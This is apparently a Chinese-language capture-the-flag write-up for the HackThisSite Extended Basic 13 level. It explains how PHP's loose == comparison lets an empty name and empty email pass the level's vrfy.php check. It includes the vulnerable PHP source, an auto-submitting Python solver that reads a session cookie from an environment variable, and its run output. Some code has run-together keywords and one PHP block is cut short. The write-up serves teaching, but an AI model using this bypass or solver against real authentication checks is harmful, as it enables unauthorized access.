<?php if (isset($_GET['name']) && isset($_GET['email'])) { $user = mysql_real_escape_string($_GET['name']); $email = mysql_real_escape_string($_GET['email']); $result= mysql_fetch_assoc(mysql_query("SELECT `email` FROM `members` WHERE name = '$user'")); $reply = false; if ($email == $result['email']) { $reply = true; } } else { $reply = false; } echo ($reply) ? 1 : 0; ?>
Solution
name 先过 mysql_real_escape_string() 作为
WHERE 条件里的单引号字符串字面量。这个函数会转义
\ ' " \n \r \0 和
Ctrl-Z,所以引号无法闭合,name 侧没有 SQL 注入。同时
email 也被转义后才参与比较,但它不进入
SQL:它只和查询结果做相等判断。
也就是说注入方向被堵死,能动的只有查询结果长什么样和比较表达式怎么算。
SELECT \email` FROM `members` WHERE name =
'$user'没有LIMIT,但脚本用mysql_fetch_assoc()只取**第一行**。关键在一行都取不到时它的返回值:布尔false`。
此时 $result 为 false,脚本却直接读
$result['email']。布尔值上的下标访问在 PHP 5 里静默求值为
null(PHP 8 会补一条
Trying to access array offset on value of type bool
警告,结果仍是 null)。于是只要让 name
匹配不到任何成员,比较的右端就固定是 null。
if ($email == $result['email']) 用的是松散比较
==,null 与字符串比较时按空串处理,于是:
<?php // Level logic replayed against a members table we know nothing about. // PHP 8 dropped ext/mysql, so the three calls are stubbed to reproduce exactly // what the level depends on: a SELECT matching no row makes mysql_fetch_assoc() // return FALSE, and FALSE['email'] then evaluates to NULL.
functionmysql_query(string$sql) { // "SELECT `email` FROM `members` WHERE name = '$user'" — the members table // contains none of the names we send, so every lookup returns no rows. return []; }
#!/usr/bin/env python3 """HackThisSite Extended Basic 13 (playit) live solver. The level ships the source of vrfy.php: NAME is run through mysql_real_escape_string() before being embedded in "SELECT `email` FROM `members` WHERE name = '$user'", so there is no quote injection. The hole is the zero-row case: mysql_fetch_assoc() returns False when the SELECT matches nothing, and False['email'] evaluates to NULL. PHP's loose == then makes "" == NULL true, so a name that matches no member plus an empty email makes the script echo 1. The answer is the relative path "vrfy.php?name=&email=". formkey changes on every page load, so fetch and submit happen in one run, and the POST must carry Referer: <level page> or template.php answers "Invalid Referer" and the attempt does not count. The session cookie is read from the HTS_COOKIE environment variable and never written to disk. Usage: export HTS_COOKIE='HackThisSite=...' cd <hts-workspace>/challenges/hts-playit && uv run python extbasic-13/solve.py """ import os import re import urllib.parse import urllib.request
UA = ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/131.0.0.0 Safari/537.36") LEVEL = "https://www.hackthissite.org/missions/playit/extbasic/13/" SUBMIT = "https://www.hackthissite.org/missions/extbasic/template.php" NEXT = "/missions/playit/extbasic/14" PAYLOAD = "vrfy.php?name=&email=" COOKIE = os.environ["HTS_COOKIE"]
defmain(): page = fetch(LEVEL) formkey = re.search(r'name="formkey" value="([^"]+)"', page).group(1) lvl = re.search(r'name="lvl" value="([^"]+)"', page).group(1) body = urllib.parse.urlencode( {"formkey": formkey, "lvl": lvl, "pass": PAYLOAD}).encode() req = urllib.request.Request( SUBMIT, data=body, headers={"Cookie": COOKIE, "User-Agent": UA, "Content-Type": "application/x-www-form-urlencoded", "Referer": LEVEL}) resp = urllib.request.urlopen(req, timeout=30).read().decode("utf-8", "replace") print("formkey=%s lvl=%s pass=%s" % (formkey, lvl, PAYLOAD)) if NEXT in resp: print("[+] accepted - server handed out the go-on link to level 14") else: print("[-] no go-on marker in response")
if __name__ == "__main__": main()
运行输出:
1 2 3
$ cd <hts-workspace>/challenges/hts-playit && uv run python extbasic-13/solve.py formkey=vfqZopYEPMqToSdrKE8Zw6jGLAwArUiCP2HhfsetV lvl=13 pass=vrfy.php?name=&email= [+] accepted - server handed out the go-on link to level 14
响应里 go on 图片指向
/missions/playit/extbasic/14,账户 profile 的
Extbasic: 行同时计入 (13)。
Key points
name 走 mysql_real_escape_string()
后拼进单引号字符串,引号闭合不了,SQL 注入不通;email
根本不进 SQL,只参与相等判断。